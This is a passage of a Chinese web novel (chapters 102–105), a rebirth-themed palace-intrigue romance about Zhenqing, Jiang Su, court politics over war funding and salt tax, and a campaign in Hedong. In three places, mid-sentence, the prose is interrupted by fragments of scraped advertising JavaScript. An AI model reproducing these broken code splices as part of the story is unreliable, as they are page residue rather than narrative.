郁华隐突然走上前,抱住枕清,将脸埋进枕清的肩膀,痛苦道:“即使在上一世,我都没有这么痛苦过,有时候我真想,不要再给我重来一次的机会,不是所有人重来都是如此幸运能够改天换日,倘若真的能做到这样的程度,那么一定是她自己就有如此的本事。” 枕清轻轻拍了拍郁华隐的肩膀,郁华隐轻声问道:“沿溪,你告诉我吧,上一世,究竟是不是裴凌云对我下的手?” 那是裴凌云登上皇位的第一年,也是最后一年。 枕清知道其中的事情,她也不想欺骗郁华隐,她道:“不是。他死在你死后的第四个月。” “那我杀错了人么?”郁华隐道。 “没有。他也利用了你巩固自己的地位。这一世,就当他还你的债吧。”枕清安抚郁华隐,“你的毒酒是一位老大监给你的,到了最后也没查出来是谁,可能是看不惯你的某一位大臣,又或者是旁人。那时候你已经成了众人的靶子,下手的人的确难找。” 长廊院外,郁华隐模糊的视线好像又看到了那一抹年轻的身影,他是那么地轻快明亮,转闪一过,恰似低落尘埃。 “郁华隐,你为什么要杀我?你不是说你喜欢我么?”裴凌云不可置信地看着无数只利箭朝自己射来,而郁华隐稳坐在高台之上。 她闻言,微垂眸,轻蔑道:“与其爱你,我更爱权势。” 重活一次,杀了他,应该不会再重蹈覆辙了吧。 她想。 102. 酒浓入梦夜寻人(五) 回去的路途中,枕清不免扼腕叹息,就连江诉听着都是一阵唏嘘。 见枕清心不在焉地思索,江诉也没有打扰,不多时,只听枕清语调慢慢,似困惑不解,又像是十分气恼,她开口道:“为什么那小孩见你就笑,见我就怯生生的,我是什么豺狼虎豹吗?我看起来很像个坏人吗?” 说完这些话,她甚至还在原地转了一个圈,想让江诉好好瞧一瞧自己这番模样。 原来是思考这件事,江诉一听就笑了出来。原以为是为了河东和裴凌云的事情烦忧,没想到是这件事令她百思不得其解。 他好好打量了一下,眼中皆是欢喜的笑意,他温和笑道:“不像坏人,估计是见你太好看了,所以望而生畏了。” 枕清觉得江诉此话说得有理,她当即想说一句“赏”,可经历上一回的事情,她面颊忍不住浮起来一点红晕来,撇过江诉的目光,另起一个话题。 “你对于我和郁华隐的,就没有什么想要问的?比如我怎么知道她说谎了,又比如我会不会真的帮她?抑或是我会不会在此之后反水?” 这些一桩桩一件件都带着疑惑。江诉不是不在意,而是信任枕清能将这些事情完完全全地做好。 江诉在满眼都有探究意味的枕清身上勾勒出少有的玩味笑意,许多事情,有了讨论的人才会变得生动有趣,即使江诉当真不在乎。 可这一次,他不再一副高高挂起的模样,正色道:“因为太后殿下对郁家下手,从而让郁华隐与太后之间心生怨怼,即使郁华隐再怎么想当官,再怎么想要为天下为百姓,可依旧是逃脱不开她要复仇的决心。至于裴凌云,那么就成为她手中扳倒太后殿下最好的棋子,加之上一世的恩怨纠葛,裴凌云的死在郁华隐手中,并不会让人觉得意外。” 江诉的嗓音清润,好像是山间的清泉,即使话语中牵扯到阴谋诡计,抑或是死了多少人,都像是在听着故事那般。 瞧见枕清专注凝神的模样,他嘴角翘起,发出一声轻笑,“高官俸禄,有权有势,谁都喜欢,如果有人和你说不喜欢,那么一定是他的位置坐得不够高,既然已经到了高位,突然说让她拘泥坐在后宫之中,这换作任何人都不会高兴的。” 这一套分析下来,简直井井有条,枕清赞赏地望着他,毫不吝啬地夸赞道:“聪明!不过你说大家都喜欢高管俸禄,那么你在上一世被我罢免了,心中可曾有过怨怼?” 按照如此说来,江诉是有的。 江诉知道枕清的脑瓜子在想那些七七八八的弯弯绕绕,可枕清无论怎么想,江诉都不会责怪枕清,更何况他知晓枕清的本意并非如此,笑着道: “没有,因为我知道你这是为我好,张宣晟虽然登上高位,没有对朝臣赶尽杀绝,却也不敢重用,更何况是与太后和禹王如此亲近的我呢?不赶尽杀绝,铲除殆尽,就已经是他作为帝王最大的仁慈了。” 每次探察到江诉所想的心思居然会有这般深刻,枕清不免呼吸轻轻一滞,微不可察地心中一动,很多她做过的事情,不需要自己直白言明,江诉就已经全部明白,且完完全全的信任自己。如果她真的有利用江诉的地方,江诉却也说自己甘之如饴。 这样的江诉,这么好的江诉,叫枕清不知道该怎么办才好。 枕清笑吟吟道:“江诉,我有时候觉得你好聪明,聪明到我什么都不说你就已经全部明白。”她又开始庆幸,“好在你不像阿之奎那般讨厌,倘若我们之间真的对立,我不知道我会不会输在你手中。” 幸好江诉在很久之前就与阿之奎分道扬镳,现在完完全全地只属于她一个人。 枕清不得不开始觉得自己幸运,还在感叹与窃喜,江诉在她的欢喜中道:“不会,枕清,你比我更为厉害,你一定会赢的。更何况没有遇到你的我,志向不在此处,倘若我们彼此都不熟悉,也到达两方对立的地步,我也只会笑着与你说借过,我不在意。” 江诉的确不在意,不在意任何人、任何事,在这个世界上,所有人与物都只是他的过客,如果不是枕清与江诉发生了纠缠,或许江诉永远都不会好好看一眼这个世界,这个令他失望的世界。 枕清不由自主地慢下步伐,她心中有山月,有沟壑,也有很多大大小小的东西。可是在江诉身上的时候,她只看得见江诉,看得见他眼中都是自己的模样,她满足、高兴,就好像是在这个世间,真有那么一个人将自己放在心底,令她灵魂有了归处。 “江诉,我从未见过这位太后殿下,你能与我说说么?”枕清困惑道,“大家都说她不是一个很好的人,可是我见你也不憎恶她,云行野极为敬重他,而云流大将军更是不必说,他非常疼爱这个妹妹。” 江诉知道枕清这不是忽然提起,而是在心中好好琢磨了一番,他用自己所见到那般去描述:“看起来至高无上,可心思是少有的细腻,胆量与男子相比亦非同一般,各种政策也十分合理,将不稳的大启拉了一把又一把,最重要一点,她从不打压女子,郁华隐此事,我并不能琢磨到太后殿下的心思,但她应当是有自己的考究与打算。” 这样听来,这位太后殿下倒也没有那么地罪大恶极。说到从不打压女子,这不禁让她想到自己在太学所说的有教无类。 当初原以为把这件事闹得这般大,一定会被太后殿下盯上,或许还会压迫禹王给她定个罪责什么的,可是发生这件事的几个月后,她依旧是一个安然无恙的状态,就算禹王将她护得再好,也不至于一点风声都没有走漏。 那只能说明太后殿下与禹王沆瀣一气,谁都没有提出来这句话。 心思逐渐回笼,这一次虽然去见了郁华隐,但是枕清并未完全给郁华隐回复,究竟是帮与不帮。这件事对于枕清而言,绝非小事,而且现下内忧外患,太后殿下未必不会留有后招,枕清看向江诉,江诉似有所感地回望枕清。 一时之间,倒是有些分不清谁沉沦在谁的眼中。 枕清不知道该说什么,她突然有些难受,看着江诉道:“我总觉得有些奇怪,不是我不想帮郁华隐,而是她好像在把我架在一个原本不属于我的位置上,我的志向并不高远,谁能想到我当初就仅仅是想要还枕家与阿耶一个清白,可是现如今的时局于我而言,的确有些失控。” 江诉宽慰道:“人生不就是这样吗?永远都不知道下一颗棋子落在哪里,就是因为这样,才能叫做人生。倘若你真的害怕担忧,那你不妨靠在我身上,我替你走完接下来的棋局。” 枕清自然是不愿意的,既然已经是自己接手的东西,怎么可能会有放手的意思,她略有无奈地摇头,“既然是我自己要完成的路,无论如何,我也会咬着牙继续坚持的。”枕清看向四周,没有春夏那样的茂盛翠绿,可此情此景的萧条也别有风味,“走到现如今的样子,也不全都是坏处,我前些日子看到个老翁说我们把安南人打跑了非常好,这样他们就有好日子过了。” 有好日子过了啊...... 当今之时,四方多难,国家府库空虚,河东道与陇西道叛乱纷起,朝廷正常的户调绢帛无法收上来,一切全靠府库的储备,只有支出,没有收入。 年关将至,现下的粮草更是少得可怜,从百姓手中抠了又抠,才又张罗出来那么些许东西。 这几年的天灾人祸虽说没有之前那般严重,可是原本让好好调养生息的百姓因为这一次打仗,更是一贫如洗。 远在长安的朝中大臣不免开始抱怨,洋洋洒洒说了一大堆,听得人无比厌烦。这边需要兵马,带去征战,那边的税收又一而再、再而三地强制收取,引得民生哀怨。 太后殿下还沉浸在丧失哥哥的悲痛之中,听到这些事情忍不住怒声呵斥道:“既然百姓们没钱,就从朝中开始选吧,诸位都是股肱之臣,定会好好抚恤底下的士兵,他们定然会感念诸位大臣。” 太后原本将食指按压在太阳穴之上,她说完这些话,不由睁开眼睛扫视众人敢怒不敢言的模样,她的指尖松弛地指过众人的头顶,最后落在为首的禹王身上,她的笑容参杂一二许的讥诮:“那么就先从禹王开始吧,这家大业大的,定然能出不少力吧。” 众人听到禹王的声音,顿时感觉如释重负,好在还有个太后不喜欢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的禹王担着,真怕那一天,太后殿下惦记起了他们,恨不得将他们每一寸皮肤都剥光,每一口血都喝完,简直令人浑身震颤。 太后殿下懒散地指了指其中各个人,像是点名般说道:“还有沈阁老、秋尚书,你们这些老臣倒也该出一份力了。” 言语至此,太后缓缓站起身子,身旁的大监赶忙走上前搀扶住太后殿下,小心提醒着:“殿下,小心台阶。” 众人望着太后远去的背影,顿时倍感无语,纷纷看向提出这个话题的人,简直气愤道有些牙痒痒。 这都是什么事情啊。 被点名的那几人倒是没那么气愤,反倒是没被说到得简直想跳楼。 要是他们出得多了,风头站上了那几位人,可不得遭殃。 倘若是出得少了,在太后殿下跟前,又要遭几番白眼。 一番权衡下来,只觉得自己这是处处都不讨好。 禹王走在最前方,身后跟着几人,小心翼翼询问禹王究竟要给多少,他们手底下的人正好心里有个数,可以好好地分配一番。 禹王哪里会不明白这些人的心思,他的话倒也说得冠冕堂皇,“我出多少,就得看我有多少,倘若多,那我就多出一分力,倘若少了,再怎么样,也就知道到这里。不过你们也不必担忧,大家都竭尽全力就好。” 留下这一句话,禹王大步迈回自己的府邸之中,独留众人神色各异地相互对视。 竭尽全力? 禹王回府让管家轻点账目,大手一挥,竟然也要被禹王府邸给掏空了。可是禹王一点也不心疼,毕竟沿溪还在河东那边。 经过此一番,连日来争吵不停的朝堂终于安静下来,许多人在朝堂之上支支吾吾,不敢发言。 唯独太傅易为之双手执笏,率先开腔道:“太后殿下,臣大致估算一下盐税收入,一年之中,按绢的价值计算的话,不少于三十万匹绢的收入,这就犹同将河东道与陇西道这两个地方置于长安郊一样。现在如果再废除盐池税的话,那可就是失计了。 “施祝将军上次之所以敢违抗您的圣旨,没有先讨伐关内的贼兵,而是先径直解除了河东之围,这并不是以陇右为缓而以河东为急,而是如果一旦失去盐池,则三军势必会缺乏粮食。” “朕允了,就依卿所言照办吧!”太后殿下则是大手一挥,如果没有人问,她倒也是乐得一个清闲自在,继续把自己关在宫殿内,看着从小到大,云流所送的东西。[1] 下了朝堂之下,秋迹跟随着沈阁老,周锡位目视前方,装作浑然不觉地跟着一同走在一侧,秋迹愁眉苦脸道:“易太傅这一计策果然是正确的。过去十多年都是太平之年,什么都不缺少,尚且创置盐官对盐池加以管理、保护,那样做的目的,并不是要跟老百姓争利,而是担心由于利益冲突而导致社会动乱。” 几人淡淡听着,秋迹继续道:“何况当今国家财政不足,租税已经提前征收了五年,户调已经折合到明年,这些都是掠取百姓私财的措施,事情出于不得已。我这就让那些管理、保护盐池的将、尉们,回去率领他们的部下,仍按往常一样征收盐税,是否废除,再听皇太后陛下以后的诏令。” 沈阁老目光沉沉落在秋迹身上,慢慢点头。 得到沈阁老的首肯不容易,秋迹随即咧开嘴笑,转头就看到周锡位一脸偷听到的模样,脸色瞬间一变,气得他简直要破口大骂,“你个姓周穷大醋,在这里偷听什么!”[2] 周锡位拿着自己笏板快速逃离了秋迹的视线之外,嘴上还不忘回头嘟哝:“下朝就这么一条道,我路过都不成了,莫不是这你一人的路?” 秋迹眼瞧着周锡位过来的,要不是偷听,他是一点都不信,手指对这条宽长道路指指点点,“虽说是一条路,这百八十丈,如此宽敞明亮的地方,你就往我们这一处挤兑,我看你个田舍汉就是故意的!” 周锡位“诶”了一声,抬手就用笏板指他,威胁道:“你辱骂朝廷命宫,我可要告你的!” 两人的话在旁人听来,简直像个老顽童,赫然一笑,也就轻轻揭过,翻了篇。 103. 酒浓入梦夜寻人(六) 年关已至,朝廷介入了河东盐池,陈琅不得不被迫回去。掌管皇家盐商的那人依旧落在了洛阳城内的那位大商人手中。 盛松言一直以来都在关注河东的情形,如今朝廷这番介入,让他不由自主地开始怀疑起了那几个人,当初李酌赋去了花楼之后,那里的妈妈告知他们是沈阁老、秋尚书、侍郎等人。 他当即陪着应钰悄悄南下,既然安南人已经被江诉与枕清打回,那么洛阳自然是暂时危及不到,他交给身旁的人好好疏通了一番。 见到应钰与盛松言进入枕清和江诉府邸的时候,府中的青衣小厮来来往往,并不匆忙着急,虽然府中没有一点年关的气氛,但是祥和平静的氛围也极其美好。打了这么久的仗,大家都在担惊受怕中度过了这么一年,自然不会再劳心费神地动用人力忙上忙下,大家伙过得舒坦开心就好。 外边倒是都已经置办起需要的东西,不过没有往年的热闹与味道。 阍人牵引着走近,应钰一抬首就看到枕清坐在高高的墙沿之上,一只腿微微曲起,另一条腿耷拉下垂,就好像是女中豪杰的做派,甚至沾点风流不羁的韵味。 记得早些年的时候,枕清的确是这样的一副样貌,只不过近些年她的身子骨越来越弱,弱到她见到这样的枕清仿若隔了许多年,她不禁轻笑,却又担忧:“沿溪,你这么跑到那上面去了?太危险了,快下来!” 枕清闻言,视线循着声音的来处望去,笑着挥手说:“惊玉,你来了?”她唇瓣咧着,仿若是最明媚耀眼的女娘。 这一年的枕清,才十九岁。 枕清微抬下颚,十分不客气地朝下方的江诉挑眉道:“我都说我轻功恢复了一点,你现在总能信了吧。” 江诉深叹了一口气,看着旁边那棵树梢的枝桠抖落了重重厚雪,还有被人隐藏清扫过的痕迹,江诉差点就信了枕清的鬼话。 把执一放在她身边是为了保护她,没想到她居然是这么来用人的。 江诉有些气恼,却又无可奈何,最后所有情绪都只能换作一声声无奈叹息,他嗓音清润,带着诱哄的意味:“我信你,你快下来,上面危险。” 枕清才不管危不危险,最危险的时候分明是在商震手底下,她小时候为了躲商震,没少上蹿下跳过,她倒是没有听江诉的,起了一身的反骨,甚至站起身在墙沿上走着。 ——“枕清!” 突然听到一声极重的怒意,枕清心中猛地打了一个颤意,这个声音她再熟悉不过。 她忽地朝那边看去,就见商震飞升跃起,朝自己而来,枕清倏地脚底一滑,所有人面色一惊,都飞身而来,想要接住枕清。枕清腰上微微使力,在空中打了个璇儿,稳稳落在了另一处的空地上,所有人都扑了个空,十分狼狈,唯一好点的人就是江诉。 因为他会强作镇定,而且还会忍。看不出任何毛病。 枕清勾起唇瓣,慢慢扫过江诉,暗卫执一,应钰、盛松言,还有脸色难看的商震与慢慢走来的北肆野,非常不好意思地笑了笑,道:“唉,墙头我熟悉得很,你们也不用怕我摔了一个个都扑过来,这不,我自己都稳稳立住了。” 商震听到这副模样与语气,过来就是想要拿起东西来管教枕清,江诉见状当即拦住,他的手握住商震的臂膀,微笑道:“师傅,这么久没见了,想必想念得紧,我这就叫人开始置办,好好招待诸位。” 还没找江诉把他们送回庭州算账,这是他自己找上门来的,就别怪他商震要动手了。商震犀利的目光扫向江诉,江诉仿若未觉,而是别有深意地瞧了一眼盛松言,同商震道:“师父别光顾着想要教训我与枕清,不然惊玉被某人拐跑了您老都一直被蒙在鼓里。” 说罢,江诉颇像是不留功与名的神仙,轻飘飘带着枕清走了。 盛松言不知道江诉那个眼神是什么意思,但总觉得不是什么好事,可是现在的他还没察觉出任何不对味来,直到自己撞进商震疑惑又凶悍地目光之中,突然就明白了。 再去望去离开的那两道背影,盛松言仿佛看到这个世界上最穷凶极恶的两个人。 在方才,商震就已经看出盛松言不会武功,甚至比应钰还要手无缚鸡之力,他走在盛松言面前道:“小子,和我比试一场。” 商震是什么水平,盛松言又是什么水准? 知道这两人的武功天差地别的应钰在心中吐槽,这摆明就是欺负人。 应钰见商震不让,随即出声阻止道:“舅舅!” “这还没成亲呢?就还护上了?”商震看向盛松言的目光都像是能喷出火来。 应钰转向北肆野,北肆野当即出来打了个幌子,这才把这件事盖了过去。 早就走远的枕清幸灾乐祸道:“江诉,你可真坏。” 江诉也跟着笑:“是啊,我可真是够坏的。祸临己身,自然要先自保了。” “我也坏,跟着你一道跑走了。不过有北叔父在,不会出岔子。”枕清的手在江诉手中动了又动,“他们两人来了,看来河东这边,注定不会太平。你想啊,太后殿下的兄长死了,自然是想要报仇雪恨踏平安南,可是这打仗又是极其费时费力的事情。虽然我师傅没有说过他讨厌商震,也没有怪罪过太后殿下将他流放在雷州,我不知道他们之中有何种恩怨和情谊,但起码,大家为了大启,都是沆瀣一气的。” 之后的话枕清没有说,而是等云行野赶回的时候才在饭局上再次开了口。 云行野一回来,商震和北肆野都好好看了一番他,都笑着说:“的的确确像是云流的孩子,长得都是如英姿飒爽的。” 不好意思的云行野亦是跟着笑道:“当初阿爷还在世的,也经常同我提起诸位叔叔伯伯。” 北肆野怀念道:“那时候的我们多好啊,你这名字还是我给你取得,你与我的名字都有个野字,就希望你无论在任何地方,都不用受约束。” 很多年的事情了,他们在今日也不想再旧事重提,免得惹起伤心事。 枕清见气氛沉闷,又趁着所有人都在,干脆说得一干二净道:“当初在廉州城内,云流将军说要退回慈州,可是还没完全退回去,就已经遭人暗算,着暗算的人究竟是谁,想必我们都知道是李酌赋,现如今阿之奎依旧占据着河东大半州县,接下来的日子,只怕僵持不下。” 枕清的目光转向云行野,再看向商震与北肆野,最后慢而沉地落在齐离弦身上,她语气满是坚定: “我知道行野你报仇心切,但你与我和江诉一样,终归是年轻气盛,没有师傅与北叔父沉稳练达,而我身旁的齐小娘子虽说为女子,但是兵术与能力是一绝,上回还与突厥人有过作战的实绩,甚至将突厥可汗的王子杀了一个,自然是可以帮衬得上的。” 这里没有蠢笨的人,自然知道枕清这样的考究是最好的,先是把她自己与云行野归为一道,甚至怕觉得自己分量不够,从而压不住,还要将年纪轻轻就能身居高位的江诉一同 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拉了下来,倒也并非真的贬低,而更像是抬高了。 只不过把其他三人在行军作战方面抬得更高,也更有信服力。 虽然这里边的话没有一句是作假的,却也是修饰过。 云行野听着并没有不舒服,但心绪还是不可避免地警惕了起来,总归会怀疑是不是枕清想让他交出兵权给商震和北肆野,即使他再怎么信任,这种东西还是需要再三考虑,甚至要问过姑母的意见。 枕清自然能看出云行野的担忧,她继续道:“我这番话并不是说你一定要交出自己的兵权,全权交由他们管理,现如今兵权在你这里,你就是这里的主帅,我想说的是你要让他们心甘情愿地信服你、听从你,而你要做好一个领帅的作用,学会怎么用人,怎么用兵,怎么用计。他们可以是你的老师,也可以是你的下属,又或者是朋侪,就看你如何做了。” 这不是明晃晃的就是挑明把他们当成所利用的棋子,但是江诉听到这些,也只是勾勾唇角,他专注地看着她引诱道:“一个人是不能成气候的,行野,我想你应该明白,行军作战不是一个人的战,话已至此,如何做,如何说,如何用,都在你。” 这些话听得人一阵又一阵,好像是走到了人的心底,不免让云行野起了挣扎。他并非是不信任他们,只是他还是会担忧害怕,可又觉得人必须要迈出这一步,就如枕清所说的,行军作战不是一个人的事情,是关乎一城、一州、一国的百姓! 倘若再次之前没有枕清在代州城内出谋划策,江诉在城外合理应对,也不可能会这么快的就能夺回代州。 云行野紧紧捏住手腕骨,仿若下定了某种坚定的决心,他朝商震、北肆野、齐离弦抱拳道:“恳请诸位祝我一臂之力,夺得河东剩余州县,报李酌赋的杀父之仇!” 众人被云行野的这道声音搅乱了思绪,与其说是云行野,倒不如怪罪枕清,把这小孩如同架在火架子上烤,只管用不用有,反正能着急就行。 商震摆摆手,齐离弦沉默,北肆野笑着道:“我们会的,我们也一定会竭尽全力相助。” 枕清见气氛到了这样的程度,看似随意地指了指应钰:“这里还有一位行商遍布天下的女商人,粮草一事,或许也能说得上话。” 应钰见到人点了自己,十分上道,卑谦道:“是的,虽然没有做到天下第一,但是天下第三第五还是有的。” 云行野稍作颔首,在此之后再也没人打算开口。 枕清隐隐发觉所有人都在看向自己,她打了个哈哈道:“看我作甚?看我你们就能吃饱了?吃菜吃菜,菜都凉了。” 这一桌究竟是不是鸿门宴谁也不知道,但大家都清楚,此次的主导都是枕清开启的。看到她这个开心劲,应该是达到了她满意的程度。 江诉无奈道:“你啊,满脑鬼点子,还好都用在正道上了。” 枕清狡黠道:“禹王是不是叫你盯着我了?” 江诉疑惑:“嗯?” 枕清无所谓一笑,小声与他咬耳朵:“因为小时候他也是这么说我的,所以在那之后,我在他面前表现得非常正道,可能我骨子里就是流着别样的血吧。” 江诉并不相信枕清真如表面那样无所谓,他心仿若被揪了一下,心疼道:“都是人,没有什么不一样的。枕清,不要陷入在这样的情绪里,别人的话不重要,你自己才是最重要的。” 枕清笑笑,不知道有没有听进去,但她是道了一声“好”。 104. 酒浓入梦夜寻人(七) 昨日一番谈话,倒也是把河东各处都已经分配好了。江诉明白枕清那样讲出来绝非空穴来风,她问枕清是不是有别样的动作。 枕清没有隐瞒,直白道:“姊姊和我说她打算去长安一趟,现下应当到了。我不知道她想要做什么,但看样子是非常着急,而我这几天心中也不稳,总觉得有事情发生。河东的事情有师傅与齐离弦,还有......你。” 最后一字非常于心不忍,可是在这里她最信江诉,枕清深深地望着他,看到江诉在自己眼中变得黯然,她的心也像是跟着碎了。 她一点点吻上江诉的眼睛,含着颤抖地温热,心中已经有了牵挂,好像更加难以舍弃分离,她一遍遍不厌其烦道:“江诉,我最爱你。江诉,只要渡过汉水,一切都会好起来。江诉,你相信我,这是最后一次把你一个人留下来,最后一次。” 江诉落魄地握住枕清的手,他痛苦又挣扎:“我也信你,可是枕清,你好会骗人,你真的好会骗人。” 枕清霎时哑口无言,她只好紧紧握住江诉,贴着他的额头一路吻到他的唇瓣,小声道:“江诉。” 江诉随着枕清的动作而动,直到听到枕清唤自己名字,似缠绵,似呢喃,似在云端之上,似在泥泞翻滚,可无论怎么,都是枕清在唤他,他的心软烂一片,早已屈服在了枕清身上,他深吸一口气道:“最后一次。” 哄完人后,枕清已是精疲力竭,但是江诉的动作却是越来越凶猛,甚至带有惩罚的意味,枕清任由他的动作,跟着上下起伏,整个人都犹如浸透在水中。 第一次对一个人产生了愧疚,枕清感知到身上的人没了动作,她抬手摸了摸江诉劲瘦的背脊,一点点碰上他的后颈,最后打理上他的湿漉的发梢,小声道:“江诉。” 江诉没有应声,只是抓住枕清的手腕骨,停住了她的动作,忽地抬起脑袋,那双浸满情欲的眸子倏地变了样,眸色是浅的,可情绪却是黑的。 “不要乱碰,我不知道会不会来第四、第五次。”江诉沉着声道,“你应该知道你自己也受不住。” 明明那么痛苦,却还是控制着让她到可承受的范围内,即使枕清全身都是酸软,依旧嘴硬道:“我可以。” “不可以。枕清,你不要因为愧疚想用这种事情来弥补我。”江诉拆穿枕清的想法,他突然喟叹道,“有时候真的想把你的心撬开看一看,是不是一堆石头做的,枕清,你是石头做的么?嗯?” 枕清思索道:“或许是吧。” 一阳复始,漏洩春光。 代州城郊外,枕清回头看向郁华隐和小顺子正踏上马车,她回过头道:“师傅与北伯伯都是信任你的,江诉亦是不会轻看你。我知道这个世道上的女子举步维艰,所以有他们在,你可以施展自己的才能,而我要去长安,许多事情不能帮衬到,不过你若有事,可以写信给我,抑或是同江诉商量,他与我是一样的。” 身后的几人虽说没有催促,但是马蹄开始急促地踢了两下,枕清又快速叮嘱了两句,转身坐回了马车之中,又忍不住掀开马车上的帷帐,望着远方的小道上没有一丝动静,知道他今日不会再来送自己了。 枕清略有失神地放下帘帐,对外头的车夫道:“走吧。” 齐离弦看着枕清远走的模样,不知道是不是她真的明白,自己也有过当女将军的志向,只不过没想到这件事居然也会有实现的一天,而且还是被枕清推举上去的。 以前她也曾想过为什么他们都那么喜欢枕清,就连名动长安的陆小娘子都愿意跟枕清做朋友,即使在上一世反目成仇后,依旧愿意走到一起,可能就是枕清真的不在意旁人究竟是胜于她还是弱于她。 倘若有朝一日,她们都强于枕清,枕清也一定不会有任何嫉妒的心思,甚至还能笑眯眯道:“恭喜你,我们女子果真是厉害。” 齐离弦正一转身,就看到树后面有一抹熟悉的身影,比她先一步离开。 那清俊挺拔的背影是前所未有的孤独。 仿佛人来人往,他始终一人。 是寡欢,是枯寂,是离索。 春的气息没有往日浓郁,枕清垂眸神思,她不知道这次回到长安,究竟是用何种身份回去,但是每一种好像都不是特别好。 在这一路上听到了不少的动静与心思,枕清也有三年之久没有回到了长安城,不知道其中究竟有几分像是从前。 这一路上的北上,听到了河东那边的消息,据说是又破了一个城池,枕清轻轻地掀开外头的帘帐,阳光倏地照射了进来,落在每一个人身上。 她们几人神色各异,也听到河东道的消息。 郁华隐想到当初廉州城的局面,她忍不住道:“当初安南军包围廉州城,廉州城城内缺粮,一匹绢才值三升粟,十匹布才值一升盐。百姓把草根树叶都吃光了,就一起澄取浮泥,放入米屑作成饼吃,食后都得病,身体肿胀脚跟发软,饿死的人交错着倒在路上。当初我还能看到有一万家,到这时不足一千家。” 这场战,远远都没有完。 幸好代州城拿下,河东局势就可以完成。 枕清在路上听到了许多大大小小的事情。 齐离弦攻陷忻州,杀了忻州刺史;又攻陷了定襄、秀荣等县,水陆并进,用船运粮,向西溯黄河而上。 云行野在岚州派遣江诉手下的将领张飞飞、邓跃带几千兵马与齐离弦会合,共十几万人,号称有三十万,在并州曲阳扎营,在赤塘关修筑宫室,派人和云行野与江诉互通消息。 江诉分析其中各种局势,顺势听一听商震与北肆野的看法。 他们二人行军打仗多年,自然是看得明白,自然知道江诉这样的方法虽然险要,但是也是最快最有效的。 就是不知道江诉如此激进所为何事? 听到这样一通的算计,云行野倒是没有其他的顾虑,频频说好,高兴得合不拢嘴道:“我有你们,真是我的一大幸事!” 商震碍于云行野在面前,没有开口说话,反倒是顾着面子隐忍到最后,直到北肆野把人推走了去。 商震走在河边,踢了一颗石子,气不打一处来,“你也发现了是不是?他这个做法太过冒进!” “你居然也会说出这样的话?”北肆野倒是觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得还好,“江诉并非没有经过深思熟虑,反倒是想得太多,才选择了这样的法子。对付阿之奎只能智取,而非蛮力。” 商震嘟囔道:“你就护着这小子吧,我看他的心跟着沿溪跑回长安去了。” 北肆野瞧他气急败坏的样子,指着嘲笑道:“能不跑么?当初你家那位小娘子叫江诉来陇右,江诉听话跟了过来,然后到了快一年的时候枕清才现身,不久前又来了河东,河东一打战,江诉接令,旋即跟了过来,两人在河东又是好几月不见,现下枕清又要回到长安,江诉被迫留在此地,换作是你,你会高兴?他们正巧新婚燕尔,聚少离多,这离得也太过了。” 被这样一讲,说起来枕清都有自己步子可走,而江诉像是追寻着而去,换而言之,一个大男人追着一个小娘子屁股身后跑,这个小娘子还是自己已经过门的妻子,这算个怎么回事? 换个男人都不会高兴。 商震面露心虚,北肆野咧嘴道:“你啊你,没成过亲,不懂这样,也正常。” 商震从鼻腔哼了一口气,正声道:“那是因为我们沿溪绝非一般女子,无论是沿溪还是惊玉,她们就是有自己的活法,谁说女子就要成天围着男人转?她们可以有自己的本事,就像小齐一样,还能带兵打仗!” 这回,轮到北肆野一时无言。 未几,他十分配合地笑笑道:“齐离弦啊,是个很厉害的女郎。不过,她和阿之奎的关系非同一般呐,就像是最亲密的人在自己身上下手,就看自己究竟是想要殊死一搏,还是甘愿放手。” 这样都能看得出来?商震还是挺意外的,但是也相信北肆野的能力,毕竟他的洞察力十成十的好。 既然枕清敢推着齐离弦出来,他们自然也敢用。 最敢用的还是云行野,当初枕清要走的时候,云行野还将枕清当作老师一般地对待,虚心问了许多东西。 直到江诉说要让张飞飞与邓跃为总管去带队,云行野阻止道:“不妥。” 所有人面露惊疑地望着他。 云行野认真道:“枕清说得那些人里没有你!” 张飞飞:“哈?” 邓跃跟上:“啊?” 枕清要走的前一夜把河东的水域、山脉,各处可以布置的陷阱与地形一一标明,枕清在那些日子对河东探测过很多次,获得此地图,让云行野觉得任何一件兵器都更为顺手,甚至把枕清夸了三五遍,还将这些日子的巨细讲给太后殿下。 就是不知道太后姑母看了会怎么样,明明说要警惕北肆姝的,可是她最后最信这个北肆姝背后的枕清。 云行野回过神来,他看着江诉恰似深深陷入一个茫然的状态,他出声问道:“沿溪走的时候,你为什么没有送她?” 江诉抬起眸子,是一如既往地隽美,也没有像旁人所见的那般幽深,反倒像是最璀璨清透的宝石,可是现在云行野看不懂这双眸子里的意图,明明看起来空灵又透明,却又叫人觉得深不可测。 “你......”云行野迟疑。 江诉起身,错过他身旁时的脚步微顿,直言道:“我不想送。” 105. 酒浓入梦夜寻人(八) 长安城内,太后寝宫。 映入眼帘的是一扇雕花木门,其上镌刻着繁复精美的图案,既有龙凤呈祥的祥瑞之兆,又有松鹤延年的长寿之意,几盏精致的铜制烛台上烛光摇曳,窗棂雕刻着细腻的梅花、竹叶图案,既透风又透光,还添了几分清雅之气。 来来往往的侍女脚步仓皇迈进,又焦灼迈出。 门轴转动间,床榻上那人发出轻微的呓语:“文征。” 这是唤了好几次的名字,就连太后身边贴身十多年的侍女竟也不知道太后这唤的人究竟是谁,却也不敢多加深问,更不敢多听,所有人只好抿唇装聋作哑地垂下脑袋,留意太医令,以及身旁的义宁。 这连日来也太奇怪,太后殿下似乎得了梦魇的症状,所有人屏气凝神,义宁起身劝退了所有人道:“殿下前些日子可是食用了些什么,巨细报来。” 为首的侍女行礼道:“禀太医令,殿下所食的皆是宫中所准备的御膳,唯有不一样的便是殿下喝了桃花酿,不知是不是因为这般原因?” 太医令面色稍霁,淡淡道:“殿下只是梦魇,所有人出去吧。” 梦靥么? 众人皆是不信,可是太医令发话了,又不得不信。 所有人都不敢对太后殿下做起编排,只好暗自腹诽。不过太后的贴身侍女却告诉众人:“殿下所唤的‘文征’乃是先皇名讳,先皇只让殿下一人叫唤过,这是先皇给殿下一人的恩赐,也是一人的恩宠,你们这些人再敢乱嚼舌根,那就拉出去杖毙!” 众人惧怕,不敢再言。 梦里的太后云嘉颂回到了二十多年前,那时候她也才是十四五岁的小女娘。 